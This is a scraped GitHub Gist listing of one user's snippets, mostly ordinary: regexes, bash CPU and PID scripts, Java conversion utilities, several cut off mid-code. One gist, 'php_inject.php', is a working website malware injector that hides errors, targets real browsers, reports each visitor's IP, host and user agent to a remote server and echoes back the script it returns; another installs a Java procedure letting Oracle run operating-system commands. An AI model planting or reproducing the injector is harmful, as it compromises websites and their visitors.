Skip to content

Instantly share code, notes, and snippets.

@joseporiol
joseporiol / regex_email
Created February 20, 2014 14:56
Email Regular Expression Pattern
^[_A-Za-z0-9-]+(\\.[_A-Za-z0-9-]+)*@[A-Za-z0-9]+
(\\.[A-Za-z0-9]+)*(\\.[A-Za-z]{2,})$
@joseporiol
joseporiol / regex_hexadecimal
Created February 20, 2014 14:55
Hexadecimal Color Code Regular Expression Pattern
^#([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$
^ #start of the line
# # must constains a "#" symbols
( # start of group #1
[A-Fa-f0-9]{6} # any strings in the list, with length of 6
| # ..or
[A-Fa-f0-9]{3} # any strings in the list, with length of 3
) # end of group #1
$ #end of the line
@joseporiol
joseporiol / GetCheckCpu.sh
Created January 24, 2014 08:53
Check CPU Usage #/bin/bash #script name:GetCheckCpu.sh cpu=`ps -p $1 -o pcpu |grep -v CPU | awk -F . '{print $1}'` if [[ $cpu -gt 80 ]] then { echo "The usage of cpu is larger than 80%" } else { echo "The usage of cpu is normal" } fi
#/bin/bash
#script name:GetCheckCpu.sh
cpu=`ps -p $1 -o pcpu |grep -v CPU | awk -F . '{print $1}'`
if [[ $cpu -gt 80 ]]
then
{
echo "The usage of cpu is larger than 80%"
}
else
{
@joseporiol
joseporiol / GetPID.sh
Created January 24, 2014 08:52
Get PID [root@devops /]# top & [1] 21652 [root@devops /]# chmod u+x GetPID.sh [root@devops /]# ./GetPID.sh root top 21652
#!/bin/bash
#scrip name:GetPID.sh
PsUserName=$1
PsProcessName=$2
pid=`ps -u $PsUserName|grep $PsProcessName|grep -v grep|grep -v vi|grep -v tail|grep -v start|grep -v stop |sed -n 1p |awk '{print $1}'`
echo $pid
@joseporiol
joseporiol / php_inject.php
Created January 23, 2014 14:52
Inject code php on website
<?php
#9da223#
error_reporting(0); ini_set('display_errors',0); $wp_nht097 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_nht097) && !preg_match ('/bot/i', $wp_nht097))){
$wp_nht09097="http://"."aaa"."bbb".".com/ccc"."/?ip=".$_SERVER['REMOTE_ADDR']."& referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_nht097);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_nht09097);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_097nht = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_097nht,1,3) === 'scr' ){ echo $wp_097nht; }
#/9da223#
?>
@joseporiol
joseporiol / Host.sql
Created January 22, 2014 17:17
Ejecutar comanda de sistema desde Oracle
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Host" AS
import java.io.*;
public class Host {
public static void executeCommand(String command) {
try {
String[] finalCommand;
if (isWindows()) {
finalCommand = new String[4];
// Use the appropriate path for your windows version.
finalCommand[0] = "C:\\windows\\system32\\cmd.exe";
@joseporiol
joseporiol / LargestPrimeFactor.java
Created January 22, 2014 14:18
FInd largest prime factor of a given number
public class LargestPrimeFactor {
public static int largestPrimeFactor(long number) {
int i;
for (i = 2; i <= number; i++) {
if (number % i == 0) {
number /= i;
i--;
}
@joseporiol
joseporiol / MailFromString.java
Created January 21, 2014 14:49
Get email from String
public ArrayList<String> emailList = new ArrayList<String>();
public void getEmail(String line){
final String RE_MAIL = "([\\w\\-]([\\.\\w])+[\\w]+@([\\w\\-]+\\.)+[A-Za-z]{2,4})";
Pattern p = Pattern.compile(RE_MAIL);
Matcher m = p.matcher(line);
while(m.find()) {
if(!emailList.contains(m.group(1))){
emailList.add(m.group(1));
@joseporiol
joseporiol / CharFormatConverter.java
Created January 21, 2014 14:47
ASCII to EBCDIC
public class CharFormatConverter {
static byte[] ASCII2EBCDIC = new byte[256];
static byte[] EBCDIC2ASCII = new byte[256];
static {
ASCII2EBCDIC[0x00] = (byte) 0x00;
ASCII2EBCDIC[0x01] = (byte) 0x01;
ASCII2EBCDIC[0x02] = (byte) 0x02;
ASCII2EBCDIC[0x03] = (byte) 0x03;
ASCII2EBCDIC[0x04] = (byte) 0x37;
ASCII2EBCDIC[0x05] = (byte) 0x2D;
@joseporiol
joseporiol / BytesToString.java
Created January 21, 2014 14:46
Bytes to String
public class BytesToString {
public static String bytes2String(byte[] bytes) {
StringBuilder sb = new StringBuilder();
for (byte b : bytes) {
sb.append(String.format("%02X ", b).trim());
}
return sb.toString();